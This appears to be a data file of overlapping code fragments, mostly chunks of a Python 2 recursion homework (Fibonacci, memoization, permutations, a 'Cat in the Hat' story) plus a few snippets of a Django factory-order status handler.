"= json_Dict['Color'] temperatureSortingLine = json_Dict['Temperature'] voltageSortingLine = json_Dict['Voltage'] monitorSortingLine = True if monitorMainUnit",
"channels.layers import get_channel_layer from factoryWebsite.models import Order from factoryWebsite.utils import sendNewOrderToFactory monitorMainUnit =",
"False colorSortingLine = \"\" temperatureSortingLine = \"\" voltageSortingLine = \"\" def Status_Data_Handler(topic, data):",
"= json_Dict['Temperature'] voltageSortingLine = json_Dict['Voltage'] monitorSortingLine = True if monitorMainUnit and monitorSortingLine: monitorMainUnit",
"def Order_Ready_Data_Handler(data): json_Dict = json.loads(data) last_id = json_Dict['LastId'] try: recentOrder = Order.objects.get(transaction_id=last_id) recentOrder.finished",
"'voltageSortingLine': voltageSortingLine, 'temperatureMainUnit': temperatureMainUnit, 'voltageMainUnit': voltageMainUnit } ) def Storage_Data_Handler(data): json_Dict = json.loads(data)"
] |
[
"- 1) + fib(num - 2) print '\\nPrep for Question 4 follows...' j",
"Incrementer(0) fib(8) print 'when n is 8:', j.count # Question 5 def memoized_fib(num,",
"else: next_cat = get_next_cat(helper_cat) print helper_cat + \": I'll have\", next_cat, \"clean up!\"",
"print 'when n is 5:', j.count j = Incrementer(0) fib(6) print 'when n",
"string in outcomes(word[1:]): l.increment() for index in range(len(string) + 1): # inserting the",
"order; returns a list of all strings that can be formed from the",
"memoized_fib(3, {0 : 0, 1 : 1}) print 'when n is 3:', k.count",
"Cat A\" elif current_cat != \"Little Cat Z\": return \"Little Cat \" +",
"Incrementer(0) fib(5) print 'when n is 5:', j.count j = Incrementer(0) fib(6) print",
"print 'when n is 4:', multiply_up(4) print 'when n is 5:', multiply_up(5) print",
"n is 1:', multiply_up(1) print 'when n is 2:', multiply_up(2) print 'when n",
"return n * multiply_up(n - 1) print '\\nPrep for Question 3 follows...' print",
"k.count k = Incrementer(0) memoized_fib(1, {0 : 0, 1 : 1}) print 'when",
"n == 0: return 1 else: return n * multiply_up(n - 1) print",
"2:', multiply_up(2) print 'when n is 3:', multiply_up(3) print 'when n is 4:',",
"'when n is 5:', j.count j = Incrementer(0) fib(6) print 'when n is",
"print helper_cat + \": I'll have\", next_cat, \"clean up!\" clean_up(next_cat) i.increment() # get",
"n + add_up(n - 1) print '\\nPrep for Question 2 follows...' print 'when",
"separately from the function ''' def __init__(self, count): self.count = count def increment(self):",
"1}) print 'when n is 4:', k.count k = Incrementer(0) memoized_fib(5, {0 :",
"Incrementer(0) outcomes('abcd') print 'when n is 4:', l.count l = Incrementer(0) outcomes('abcde') print",
"''' generate (function shall be recursive!) all strings that can be composed from",
"is 4:', j.count j = Incrementer(0) fib(5) print 'when n is 5:', j.count",
"increments separately from the function ''' def __init__(self, count): self.count = count def",
"return memo_dict[num] else: sum1 = memoized_fib(num - 1, memo_dict) #k.increment() sum2 = memoized_fib(num",
"Cat \" + chr(ord(current_cat[-1]) + 1) else: return \"Voom\" def clean_up(helper_cat): \"\"\" Recursive",
"k = Incrementer(0) memoized_fib(1, {0 : 0, 1 : 1}) print 'when n",
"Helper function to get next cat \"\"\" if current_cat == \"Cat in the",
"0, 1 : 1}) print 'when n is 2:', k.count k = Incrementer(0)",
"'when n is 4:', multiply_up(4) print 'when n is 5:', multiply_up(5) print 'when",
"is 8:', j.count # Question 5 def memoized_fib(num, memo_dict): k.increment() if num in",
"{0 : 0, 1 : 1}) print 'when n is 4:', k.count k",
"print 'when n is 5:', k.count k = Incrementer(0) memoized_fib(6, {0 : 0,",
"{0 : 0, 1 : 1}) print 'when n is 7:', k.count #",
"can be formed from the letters in word ''' # base case; no",
"2) print '\\nPrep for Question 4 follows...' j = Incrementer(0) fib(2) print 'when",
"'when n is 2:', add_up(2) print 'when n is 3:', add_up(3) print 'when",
"5:', j.count j = Incrementer(0) fib(6) print 'when n is 6:', j.count j",
"return 0 else: return n + add_up(n - 1) print '\\nPrep for Question",
"add_up(6) print 'when n is 7:', add_up(7) print 'when n is 8:', add_up(8)",
"n is 6:', l.count l = Incrementer(0) outcomes('abcdefg') print 'when n is 7:',",
"cats to work!!!!! print 'Question 1 prep...' i = Incrementer(0) clean_up(\"Cat in the",
"'\\nPrep for Question 3 follows...' print 'when n is 0:', multiply_up(0) print 'when",
"letters in word ''' # base case; no string if not word: return",
"\"Little Cat \" + chr(ord(current_cat[-1]) + 1) else: return \"Voom\" def clean_up(helper_cat): \"\"\"",
"1) print '\\nPrep for Question 3 follows...' print 'when n is 0:', multiply_up(0)",
"1) + fib(num - 2) print '\\nPrep for Question 4 follows...' j =",
": 1}) print 'when n is 2:', k.count k = Incrementer(0) memoized_fib(3, {0",
"all cleaned up!\" else: next_cat = get_next_cat(helper_cat) print helper_cat + \": I'll have\",",
"function that prints out story \"\"\" if helper_cat == \"Voom\": print helper_cat +",
"rest of the word for string in outcomes(word[1:]): l.increment() for index in range(len(string)",
"return outcomes(word[1:]) + possibilities print '\\nPrep for Question 6 follows...' l = Incrementer(0)",
"print 'when n is 2:', multiply_up(2) print 'when n is 3:', multiply_up(3) print",
"is 8:', add_up(8) # Question 3 def multiply_up(n): if n == 0: return",
"print 'when n is 2:', l.count l = Incrementer(0) outcomes('abc') print 'when n",
"Incrementer(0) clean_up(\"Cat in the Hat\") i.increment() print 'Question 1 answer:', i.count # Question",
"fib(num - 2) print '\\nPrep for Question 4 follows...' j = Incrementer(0) fib(2)",
"= Incrementer(0) fib(6) print 'when n is 6:', j.count j = Incrementer(0) fib(7)",
"'when n is 8:', j.count # Question 5 def memoized_fib(num, memo_dict): k.increment() if",
"n is 1:', k.count k = Incrementer(0) memoized_fib(2, {0 : 0, 1 :",
"case; no string if not word: return [''] possibilities = [] # generate",
"# Question 2 def add_up(n): if n == 0: return 0 else: return",
"= [] # generate all appropriate strings for rest of the word for",
"is 5:', add_up(5) print 'when n is 6:', add_up(6) print 'when n is",
"self.count = count def increment(self): self.count += 1 \"\"\" Recursion according to the",
"be recursive!) all strings that can be composed from the letters in word",
"print '\\nPrep for Question 6 follows...' l = Incrementer(0) outcomes('a') print 'when n",
"0:', k.count k = Incrementer(0) memoized_fib(1, {0 : 0, 1 : 1}) print",
"sum2 print '\\nPrep for Question 5 follows...' k = Incrementer(0) memoized_fib(0, {0 :",
"in word in any order; returns a list of all strings that can",
"is 5:', k.count k = Incrementer(0) memoized_fib(6, {0 : 0, 1 : 1})",
"Incrementer(0) memoized_fib(2, {0 : 0, 1 : 1}) print 'when n is 2:',",
"print helper_cat + \": I got this. Mess is all cleaned up!\" else:",
"is 2:', j.count j = Incrementer(0) fib(3) print 'when n is 3:', j.count",
"'when n is 3:', l.count l = Incrementer(0) outcomes('abcd') print 'when n is",
"* multiply_up(n - 1) print '\\nPrep for Question 3 follows...' print 'when n",
"multiply_up(1) print 'when n is 2:', multiply_up(2) print 'when n is 3:', multiply_up(3)",
"- 1, memo_dict) #k.increment() sum2 = memoized_fib(num - 2, memo_dict) #k.increment() memo_dict[num] =",
"'Question 1 prep...' i = Incrementer(0) clean_up(\"Cat in the Hat\") i.increment() print 'Question",
"k.count k = Incrementer(0) memoized_fib(2, {0 : 0, 1 : 1}) print 'when",
"'when n is 2:', multiply_up(2) print 'when n is 3:', multiply_up(3) print 'when",
"Incrementer(0) outcomes('abc') print 'when n is 3:', l.count l = Incrementer(0) outcomes('abcd') print",
"def multiply_up(n): if n == 0: return 1 else: return n * multiply_up(n",
"outcomes('abcd') print 'when n is 4:', l.count l = Incrementer(0) outcomes('abcde') print 'when",
"5:', add_up(5) print 'when n is 6:', add_up(6) print 'when n is 7:',",
"7:', add_up(7) print 'when n is 8:', add_up(8) # Question 3 def multiply_up(n):",
"1}) print 'when n is 6:', k.count k = Incrementer(0) memoized_fib(7, {0 :",
"\"Little Cat A\" elif current_cat != \"Little Cat Z\": return \"Little Cat \"",
"print 'when n is 3:', k.count k = Incrementer(0) memoized_fib(4, {0 : 0,",
"= Incrementer(0) memoized_fib(0, {0 : 0, 1 : 1}) print 'when n is",
"Incrementer(0) outcomes('abcde') print 'when n is 5:', l.count l = Incrementer(0) outcomes('abcdef') print",
"is 2:', add_up(2) print 'when n is 3:', add_up(3) print 'when n is",
"that can be formed from the letters in word ''' # base case;",
"Question 2 follows...' print 'when n is 0:', add_up(0) print 'when n is",
"''' # base case; no string if not word: return [''] possibilities =",
"= count def increment(self): self.count += 1 \"\"\" Recursion according to the \"Cat",
"helper_cat + \": I got this. Mess is all cleaned up!\" else: next_cat",
"- 2, memo_dict) #k.increment() memo_dict[num] = sum1 + sum2 return sum1 + sum2",
": 0, 1 : 1}) print 'when n is 0:', k.count k =",
"prints out story \"\"\" if helper_cat == \"Voom\": print helper_cat + \": I",
"return 1 else: j.increment() return fib(num - 1) + fib(num - 2) print",
"string if not word: return [''] possibilities = [] # generate all appropriate",
"'\\nPrep for Question 5 follows...' k = Incrementer(0) memoized_fib(0, {0 : 0, 1",
"return fib(num - 1) + fib(num - 2) print '\\nPrep for Question 4",
"next_cat, \"clean up!\" clean_up(next_cat) i.increment() # get those cats to work!!!!! print 'Question",
"the initial character in all possible positions within the string possibilities.append(string[:index] + word[0]",
"1}) print 'when n is 3:', k.count k = Incrementer(0) memoized_fib(4, {0 :",
"print 'when n is 3:', j.count j = Incrementer(0) fib(4) print 'when n",
"fib(6) print 'when n is 6:', j.count j = Incrementer(0) fib(7) print 'when",
"1 : 1}) print 'when n is 3:', k.count k = Incrementer(0) memoized_fib(4,",
"Incrementer(0) fib(2) print 'when n is 2:', j.count j = Incrementer(0) fib(3) print",
"0, 1 : 1}) print 'when n is 3:', k.count k = Incrementer(0)",
"0, 1 : 1}) print 'when n is 1:', k.count k = Incrementer(0)",
"4:', add_up(4) print 'when n is 5:', add_up(5) print 'when n is 6:',",
"print 'when n is 4:', l.count l = Incrementer(0) outcomes('abcde') print 'when n",
"= Incrementer(0) memoized_fib(7, {0 : 0, 1 : 1}) print 'when n is",
"is 7:', multiply_up(7) print 'when n is 8:', multiply_up(8) # Question 4 def",
"= Incrementer(0) fib(5) print 'when n is 5:', j.count j = Incrementer(0) fib(6)",
"'when n is 1:', multiply_up(1) print 'when n is 2:', multiply_up(2) print 'when",
"multiply_up(3) print 'when n is 4:', multiply_up(4) print 'when n is 5:', multiply_up(5)",
"k = Incrementer(0) memoized_fib(6, {0 : 0, 1 : 1}) print 'when n",
"0: return 1 else: return n * multiply_up(n - 1) print '\\nPrep for",
"'when n is 7:', multiply_up(7) print 'when n is 8:', multiply_up(8) # Question",
"multiply_up(8) # Question 4 def fib(num): if num == 0: return 0 elif",
"in the Hat\") i.increment() print 'Question 1 answer:', i.count # Question 2 def",
"i.count # Question 2 def add_up(n): if n == 0: return 0 else:",
"\" + chr(ord(current_cat[-1]) + 1) else: return \"Voom\" def clean_up(helper_cat): \"\"\" Recursive function",
"memoized_fib(2, {0 : 0, 1 : 1}) print 'when n is 2:', k.count",
"n is 5:', j.count j = Incrementer(0) fib(6) print 'when n is 6:',",
"1 else: return n * multiply_up(n - 1) print '\\nPrep for Question 3",
"next_cat = get_next_cat(helper_cat) print helper_cat + \": I'll have\", next_cat, \"clean up!\" clean_up(next_cat)",
"j.count j = Incrementer(0) fib(5) print 'when n is 5:', j.count j =",
"+= 1 \"\"\" Recursion according to the \"Cat in the Hat\" \"\"\" def",
"7:', j.count j = Incrementer(0) fib(8) print 'when n is 8:', j.count #",
"for rest of the word for string in outcomes(word[1:]): l.increment() for index in",
"I'll have\", next_cat, \"clean up!\" clean_up(next_cat) i.increment() # get those cats to work!!!!!",
"5 def memoized_fib(num, memo_dict): k.increment() if num in memo_dict: return memo_dict[num] else: sum1",
"+ sum2 print '\\nPrep for Question 5 follows...' k = Incrementer(0) memoized_fib(0, {0",
"n is 5:', l.count l = Incrementer(0) outcomes('abcdef') print 'when n is 6:',",
"Recursion according to the \"Cat in the Hat\" \"\"\" def get_next_cat(current_cat): \"\"\" Helper",
"of Computing class, by k., 07/19/2014 # Question 1 class Incrementer(object): ''' counting",
"fib(7) print 'when n is 7:', j.count j = Incrementer(0) fib(8) print 'when",
"memoized_fib(4, {0 : 0, 1 : 1}) print 'when n is 4:', k.count",
"4 follows...' j = Incrementer(0) fib(2) print 'when n is 2:', j.count j",
"'when n is 7:', add_up(7) print 'when n is 8:', add_up(8) # Question",
"the Hat\": return \"Little Cat A\" elif current_cat != \"Little Cat Z\": return",
"function ''' def __init__(self, count): self.count = count def increment(self): self.count += 1",
"def add_up(n): if n == 0: return 0 else: return n + add_up(n",
"add_up(n - 1) print '\\nPrep for Question 2 follows...' print 'when n is",
"print 'when n is 6:', k.count k = Incrementer(0) memoized_fib(7, {0 : 0,",
"the string possibilities.append(string[:index] + word[0] + string[index:]) l.increment() return outcomes(word[1:]) + possibilities print",
"current_cat == \"Cat in the Hat\": return \"Little Cat A\" elif current_cat !=",
"\": I'll have\", next_cat, \"clean up!\" clean_up(next_cat) i.increment() # get those cats to",
"'when n is 4:', add_up(4) print 'when n is 5:', add_up(5) print 'when",
"# Homework 5 for Principles of Computing class, by k., 07/19/2014 # Question",
"Incrementer(0) fib(6) print 'when n is 6:', j.count j = Incrementer(0) fib(7) print",
"fib(4) print 'when n is 4:', j.count j = Incrementer(0) fib(5) print 'when",
"#k.increment() sum2 = memoized_fib(num - 2, memo_dict) #k.increment() memo_dict[num] = sum1 + sum2",
"add_up(3) print 'when n is 4:', add_up(4) print 'when n is 5:', add_up(5)",
"is 6:', k.count k = Incrementer(0) memoized_fib(7, {0 : 0, 1 : 1})",
"follows...' l = Incrementer(0) outcomes('a') print 'when n is 1:', l.count l =",
"3:', k.count k = Incrementer(0) memoized_fib(4, {0 : 0, 1 : 1}) print",
"index in range(len(string) + 1): # inserting the initial character in all possible",
"is 4:', multiply_up(4) print 'when n is 5:', multiply_up(5) print 'when n is",
"print 'when n is 1:', add_up(1) print 'when n is 2:', add_up(2) print",
"{0 : 0, 1 : 1}) print 'when n is 2:', k.count k",
"'when n is 5:', k.count k = Incrementer(0) memoized_fib(6, {0 : 0, 1",
"# Question 4 def fib(num): if num == 0: return 0 elif num",
"print '\\nPrep for Question 3 follows...' print 'when n is 0:', multiply_up(0) print",
"class Incrementer(object): ''' counting increments separately from the function ''' def __init__(self, count):",
"else: return \"Voom\" def clean_up(helper_cat): \"\"\" Recursive function that prints out story \"\"\"",
"print '\\nPrep for Question 2 follows...' print 'when n is 0:', add_up(0) print",
"recursive!) all strings that can be composed from the letters in word in",
"sum2 return sum1 + sum2 print '\\nPrep for Question 5 follows...' k =",
"of the word for string in outcomes(word[1:]): l.increment() for index in range(len(string) +",
"n is 2:', multiply_up(2) print 'when n is 3:', multiply_up(3) print 'when n",
"is 3:', add_up(3) print 'when n is 4:', add_up(4) print 'when n is",
"n is 4:', multiply_up(4) print 'when n is 5:', multiply_up(5) print 'when n",
"k = Incrementer(0) memoized_fib(4, {0 : 0, 1 : 1}) print 'when n",
"I got this. Mess is all cleaned up!\" else: next_cat = get_next_cat(helper_cat) print",
"[] # generate all appropriate strings for rest of the word for string",
"07/19/2014 # Question 1 class Incrementer(object): ''' counting increments separately from the function",
"return 1 else: return n * multiply_up(n - 1) print '\\nPrep for Question",
"is 1:', multiply_up(1) print 'when n is 2:', multiply_up(2) print 'when n is",
"in memo_dict: return memo_dict[num] else: sum1 = memoized_fib(num - 1, memo_dict) #k.increment() sum2",
"sum2 = memoized_fib(num - 2, memo_dict) #k.increment() memo_dict[num] = sum1 + sum2 return",
"n is 6:', j.count j = Incrementer(0) fib(7) print 'when n is 7:',",
"k.count k = Incrementer(0) memoized_fib(3, {0 : 0, 1 : 1}) print 'when",
"according to the \"Cat in the Hat\" \"\"\" def get_next_cat(current_cat): \"\"\" Helper function",
"up!\" else: next_cat = get_next_cat(helper_cat) print helper_cat + \": I'll have\", next_cat, \"clean",
": 1}) print 'when n is 5:', k.count k = Incrementer(0) memoized_fib(6, {0",
"else: sum1 = memoized_fib(num - 1, memo_dict) #k.increment() sum2 = memoized_fib(num - 2,",
"multiply_up(5) print 'when n is 6:', multiply_up(6) print 'when n is 7:', multiply_up(7)",
"add_up(4) print 'when n is 5:', add_up(5) print 'when n is 6:', add_up(6)",
"sum1 + sum2 return sum1 + sum2 print '\\nPrep for Question 5 follows...'",
"in the Hat\" \"\"\" def get_next_cat(current_cat): \"\"\" Helper function to get next cat",
"- 2) print '\\nPrep for Question 4 follows...' j = Incrementer(0) fib(2) print",
"composed from the letters in word in any order; returns a list of",
"outcomes(word[1:]): l.increment() for index in range(len(string) + 1): # inserting the initial character",
"string possibilities.append(string[:index] + word[0] + string[index:]) l.increment() return outcomes(word[1:]) + possibilities print '\\nPrep",
"l = Incrementer(0) outcomes('abcd') print 'when n is 4:', l.count l = Incrementer(0)",
"2 def add_up(n): if n == 0: return 0 else: return n +",
"the function ''' def __init__(self, count): self.count = count def increment(self): self.count +=",
"4:', k.count k = Incrementer(0) memoized_fib(5, {0 : 0, 1 : 1}) print",
"'when n is 6:', l.count l = Incrementer(0) outcomes('abcdefg') print 'when n is",
"0:', multiply_up(0) print 'when n is 1:', multiply_up(1) print 'when n is 2:',",
"current_cat != \"Little Cat Z\": return \"Little Cat \" + chr(ord(current_cat[-1]) + 1)",
"\"Voom\" def clean_up(helper_cat): \"\"\" Recursive function that prints out story \"\"\" if helper_cat",
"1 prep...' i = Incrementer(0) clean_up(\"Cat in the Hat\") i.increment() print 'Question 1",
"memoized_fib(num - 1, memo_dict) #k.increment() sum2 = memoized_fib(num - 2, memo_dict) #k.increment() memo_dict[num]",
"k.increment() if num in memo_dict: return memo_dict[num] else: sum1 = memoized_fib(num - 1,",
"all possible positions within the string possibilities.append(string[:index] + word[0] + string[index:]) l.increment() return",
"+ add_up(n - 1) print '\\nPrep for Question 2 follows...' print 'when n",
"1 : 1}) print 'when n is 6:', k.count k = Incrementer(0) memoized_fib(7,",
"out story \"\"\" if helper_cat == \"Voom\": print helper_cat + \": I got",
"{0 : 0, 1 : 1}) print 'when n is 3:', k.count k",
"strings that can be composed from the letters in word in any order;",
"(function shall be recursive!) all strings that can be composed from the letters",
"l = Incrementer(0) outcomes('ab') print 'when n is 2:', l.count l = Incrementer(0)",
"initial character in all possible positions within the string possibilities.append(string[:index] + word[0] +",
"n is 4:', l.count l = Incrementer(0) outcomes('abcde') print 'when n is 5:',",
"clean_up(helper_cat): \"\"\" Recursive function that prints out story \"\"\" if helper_cat == \"Voom\":",
"n is 7:', j.count j = Incrementer(0) fib(8) print 'when n is 8:',",
"Recursive function that prints out story \"\"\" if helper_cat == \"Voom\": print helper_cat",
"inserting the initial character in all possible positions within the string possibilities.append(string[:index] +",
"memo_dict[num] else: sum1 = memoized_fib(num - 1, memo_dict) #k.increment() sum2 = memoized_fib(num -",
"Question 4 def fib(num): if num == 0: return 0 elif num ==",
"+ possibilities print '\\nPrep for Question 6 follows...' l = Incrementer(0) outcomes('a') print",
"j = Incrementer(0) fib(2) print 'when n is 2:', j.count j = Incrementer(0)",
"Homework 5 for Principles of Computing class, by k., 07/19/2014 # Question 1",
"i.increment() print 'Question 1 answer:', i.count # Question 2 def add_up(n): if n",
"memo_dict[num] = sum1 + sum2 return sum1 + sum2 print '\\nPrep for Question",
"= Incrementer(0) fib(3) print 'when n is 3:', j.count j = Incrementer(0) fib(4)",
"l.count l = Incrementer(0) outcomes('abc') print 'when n is 3:', l.count l =",
"the letters in word ''' # base case; no string if not word:",
"'when n is 0:', multiply_up(0) print 'when n is 1:', multiply_up(1) print 'when",
"# Question 3 def multiply_up(n): if n == 0: return 1 else: return",
"range(len(string) + 1): # inserting the initial character in all possible positions within",
"4:', l.count l = Incrementer(0) outcomes('abcde') print 'when n is 5:', l.count l",
"k.count k = Incrementer(0) memoized_fib(6, {0 : 0, 1 : 1}) print 'when",
"all strings that can be composed from the letters in word in any",
"\"\"\" Recursion according to the \"Cat in the Hat\" \"\"\" def get_next_cat(current_cat): \"\"\"",
"increment(self): self.count += 1 \"\"\" Recursion according to the \"Cat in the Hat\"",
"1 : 1}) print 'when n is 7:', k.count # Question 6 def",
"is 7:', j.count j = Incrementer(0) fib(8) print 'when n is 8:', j.count",
"1 \"\"\" Recursion according to the \"Cat in the Hat\" \"\"\" def get_next_cat(current_cat):",
"n is 7:', add_up(7) print 'when n is 8:', add_up(8) # Question 3",
"memo_dict: return memo_dict[num] else: sum1 = memoized_fib(num - 1, memo_dict) #k.increment() sum2 =",
"3:', multiply_up(3) print 'when n is 4:', multiply_up(4) print 'when n is 5:',",
"k = Incrementer(0) memoized_fib(3, {0 : 0, 1 : 1}) print 'when n",
"1 : 1}) print 'when n is 4:', k.count k = Incrementer(0) memoized_fib(5,",
"all appropriate strings for rest of the word for string in outcomes(word[1:]): l.increment()",
"'Question 1 answer:', i.count # Question 2 def add_up(n): if n == 0:",
"\"\"\" Recursive function that prints out story \"\"\" if helper_cat == \"Voom\": print",
"5:', l.count l = Incrementer(0) outcomes('abcdef') print 'when n is 6:', l.count l",
"elif num == 1: return 1 else: j.increment() return fib(num - 1) +",
"multiply_up(n): if n == 0: return 1 else: return n * multiply_up(n -",
"1:', multiply_up(1) print 'when n is 2:', multiply_up(2) print 'when n is 3:',",
"of all strings that can be formed from the letters in word '''",
"n is 4:', j.count j = Incrementer(0) fib(5) print 'when n is 5:',",
"'when n is 4:', l.count l = Incrementer(0) outcomes('abcde') print 'when n is",
"\"\"\" if current_cat == \"Cat in the Hat\": return \"Little Cat A\" elif",
"memoized_fib(5, {0 : 0, 1 : 1}) print 'when n is 5:', k.count",
"7:', k.count # Question 6 def outcomes(word): ''' generate (function shall be recursive!)",
"is 6:', j.count j = Incrementer(0) fib(7) print 'when n is 7:', j.count",
"in all possible positions within the string possibilities.append(string[:index] + word[0] + string[index:]) l.increment()",
"0, 1 : 1}) print 'when n is 7:', k.count # Question 6",
"def outcomes(word): ''' generate (function shall be recursive!) all strings that can be",
"n is 2:', l.count l = Incrementer(0) outcomes('abc') print 'when n is 3:',",
"print 'when n is 8:', j.count # Question 5 def memoized_fib(num, memo_dict): k.increment()",
"n is 3:', l.count l = Incrementer(0) outcomes('abcd') print 'when n is 4:',",
"Hat\" \"\"\" def get_next_cat(current_cat): \"\"\" Helper function to get next cat \"\"\" if",
"print 'when n is 4:', add_up(4) print 'when n is 5:', add_up(5) print",
"be formed from the letters in word ''' # base case; no string",
"''' counting increments separately from the function ''' def __init__(self, count): self.count =",
"the word for string in outcomes(word[1:]): l.increment() for index in range(len(string) + 1):",
"count): self.count = count def increment(self): self.count += 1 \"\"\" Recursion according to",
"= get_next_cat(helper_cat) print helper_cat + \": I'll have\", next_cat, \"clean up!\" clean_up(next_cat) i.increment()",
"'when n is 6:', j.count j = Incrementer(0) fib(7) print 'when n is",
"k = Incrementer(0) memoized_fib(5, {0 : 0, 1 : 1}) print 'when n",
"fib(3) print 'when n is 3:', j.count j = Incrementer(0) fib(4) print 'when",
"\"Voom\": print helper_cat + \": I got this. Mess is all cleaned up!\"",
"fib(num): if num == 0: return 0 elif num == 1: return 1",
"outcomes('abc') print 'when n is 3:', l.count l = Incrementer(0) outcomes('abcd') print 'when",
"Incrementer(0) outcomes('abcdef') print 'when n is 6:', l.count l = Incrementer(0) outcomes('abcdefg') print",
"memoized_fib(0, {0 : 0, 1 : 1}) print 'when n is 0:', k.count",
"return \"Little Cat A\" elif current_cat != \"Little Cat Z\": return \"Little Cat",
"is 6:', multiply_up(6) print 'when n is 7:', multiply_up(7) print 'when n is",
"to work!!!!! print 'Question 1 prep...' i = Incrementer(0) clean_up(\"Cat in the Hat\")",
"follows...' print 'when n is 0:', add_up(0) print 'when n is 1:', add_up(1)",
"\"clean up!\" clean_up(next_cat) i.increment() # get those cats to work!!!!! print 'Question 1",
"= memoized_fib(num - 1, memo_dict) #k.increment() sum2 = memoized_fib(num - 2, memo_dict) #k.increment()",
"from the letters in word in any order; returns a list of all",
"3:', add_up(3) print 'when n is 4:', add_up(4) print 'when n is 5:',",
"return \"Voom\" def clean_up(helper_cat): \"\"\" Recursive function that prints out story \"\"\" if",
"in the Hat\": return \"Little Cat A\" elif current_cat != \"Little Cat Z\":",
"print 'when n is 7:', add_up(7) print 'when n is 8:', add_up(8) #",
"= Incrementer(0) memoized_fib(4, {0 : 0, 1 : 1}) print 'when n is",
"if num in memo_dict: return memo_dict[num] else: sum1 = memoized_fib(num - 1, memo_dict)",
"Question 5 follows...' k = Incrementer(0) memoized_fib(0, {0 : 0, 1 : 1})",
"0, 1 : 1}) print 'when n is 0:', k.count k = Incrementer(0)",
"formed from the letters in word ''' # base case; no string if",
"'when n is 6:', add_up(6) print 'when n is 7:', add_up(7) print 'when",
"add_up(0) print 'when n is 1:', add_up(1) print 'when n is 2:', add_up(2)",
"outcomes('a') print 'when n is 1:', l.count l = Incrementer(0) outcomes('ab') print 'when",
"counting increments separately from the function ''' def __init__(self, count): self.count = count",
"shall be recursive!) all strings that can be composed from the letters in",
"def increment(self): self.count += 1 \"\"\" Recursion according to the \"Cat in the",
"for Question 3 follows...' print 'when n is 0:', multiply_up(0) print 'when n",
"+ sum2 return sum1 + sum2 print '\\nPrep for Question 5 follows...' k",
"print 'when n is 7:', j.count j = Incrementer(0) fib(8) print 'when n",
"no string if not word: return [''] possibilities = [] # generate all",
"Incrementer(0) memoized_fib(5, {0 : 0, 1 : 1}) print 'when n is 5:',",
"2:', k.count k = Incrementer(0) memoized_fib(3, {0 : 0, 1 : 1}) print",
"story \"\"\" if helper_cat == \"Voom\": print helper_cat + \": I got this.",
"n is 6:', multiply_up(6) print 'when n is 7:', multiply_up(7) print 'when n",
"j = Incrementer(0) fib(8) print 'when n is 8:', j.count # Question 5",
"from the function ''' def __init__(self, count): self.count = count def increment(self): self.count",
"1): # inserting the initial character in all possible positions within the string",
"= Incrementer(0) fib(8) print 'when n is 8:', j.count # Question 5 def",
"1: return 1 else: j.increment() return fib(num - 1) + fib(num - 2)",
": 1}) print 'when n is 4:', k.count k = Incrementer(0) memoized_fib(5, {0",
"1}) print 'when n is 2:', k.count k = Incrementer(0) memoized_fib(3, {0 :",
"j = Incrementer(0) fib(6) print 'when n is 6:', j.count j = Incrementer(0)",
"3 def multiply_up(n): if n == 0: return 1 else: return n *",
"helper_cat + \": I'll have\", next_cat, \"clean up!\" clean_up(next_cat) i.increment() # get those",
"clean_up(\"Cat in the Hat\") i.increment() print 'Question 1 answer:', i.count # Question 2",
"2, memo_dict) #k.increment() memo_dict[num] = sum1 + sum2 return sum1 + sum2 print",
"!= \"Little Cat Z\": return \"Little Cat \" + chr(ord(current_cat[-1]) + 1) else:",
"Incrementer(0) memoized_fib(3, {0 : 0, 1 : 1}) print 'when n is 3:',",
"print 'when n is 3:', multiply_up(3) print 'when n is 4:', multiply_up(4) print",
"n is 5:', multiply_up(5) print 'when n is 6:', multiply_up(6) print 'when n",
"'when n is 3:', j.count j = Incrementer(0) fib(4) print 'when n is",
"for Question 2 follows...' print 'when n is 0:', add_up(0) print 'when n",
"Incrementer(0) memoized_fib(4, {0 : 0, 1 : 1}) print 'when n is 4:',",
"elif current_cat != \"Little Cat Z\": return \"Little Cat \" + chr(ord(current_cat[-1]) +",
"l.increment() for index in range(len(string) + 1): # inserting the initial character in",
"possibilities print '\\nPrep for Question 6 follows...' l = Incrementer(0) outcomes('a') print 'when",
"print 'when n is 4:', j.count j = Incrementer(0) fib(5) print 'when n",
"+ word[0] + string[index:]) l.increment() return outcomes(word[1:]) + possibilities print '\\nPrep for Question",
"outcomes('abcde') print 'when n is 5:', l.count l = Incrementer(0) outcomes('abcdef') print 'when",
"'when n is 2:', l.count l = Incrementer(0) outcomes('abc') print 'when n is",
"if not word: return [''] possibilities = [] # generate all appropriate strings",
"class, by k., 07/19/2014 # Question 1 class Incrementer(object): ''' counting increments separately",
"return sum1 + sum2 print '\\nPrep for Question 5 follows...' k = Incrementer(0)",
"in range(len(string) + 1): # inserting the initial character in all possible positions",
"3:', l.count l = Incrementer(0) outcomes('abcd') print 'when n is 4:', l.count l",
"for Question 6 follows...' l = Incrementer(0) outcomes('a') print 'when n is 1:',",
"== 0: return 1 else: return n * multiply_up(n - 1) print '\\nPrep",
"1) else: return \"Voom\" def clean_up(helper_cat): \"\"\" Recursive function that prints out story",
"+ string[index:]) l.increment() return outcomes(word[1:]) + possibilities print '\\nPrep for Question 6 follows...'",
"this. Mess is all cleaned up!\" else: next_cat = get_next_cat(helper_cat) print helper_cat +",
"Incrementer(0) fib(7) print 'when n is 7:', j.count j = Incrementer(0) fib(8) print",
"1}) print 'when n is 1:', k.count k = Incrementer(0) memoized_fib(2, {0 :",
"is 2:', k.count k = Incrementer(0) memoized_fib(3, {0 : 0, 1 : 1})",
"chr(ord(current_cat[-1]) + 1) else: return \"Voom\" def clean_up(helper_cat): \"\"\" Recursive function that prints",
"is 3:', multiply_up(3) print 'when n is 4:', multiply_up(4) print 'when n is",
"is 5:', j.count j = Incrementer(0) fib(6) print 'when n is 6:', j.count",
"is 2:', l.count l = Incrementer(0) outcomes('abc') print 'when n is 3:', l.count",
"by k., 07/19/2014 # Question 1 class Incrementer(object): ''' counting increments separately from",
"character in all possible positions within the string possibilities.append(string[:index] + word[0] + string[index:])",
"for Question 5 follows...' k = Incrementer(0) memoized_fib(0, {0 : 0, 1 :",
"print 'when n is 3:', l.count l = Incrementer(0) outcomes('abcd') print 'when n",
"multiply_up(2) print 'when n is 3:', multiply_up(3) print 'when n is 4:', multiply_up(4)",
"memoized_fib(num, memo_dict): k.increment() if num in memo_dict: return memo_dict[num] else: sum1 = memoized_fib(num",
"+ 1): # inserting the initial character in all possible positions within the",
"l = Incrementer(0) outcomes('a') print 'when n is 1:', l.count l = Incrementer(0)",
": 0, 1 : 1}) print 'when n is 4:', k.count k =",
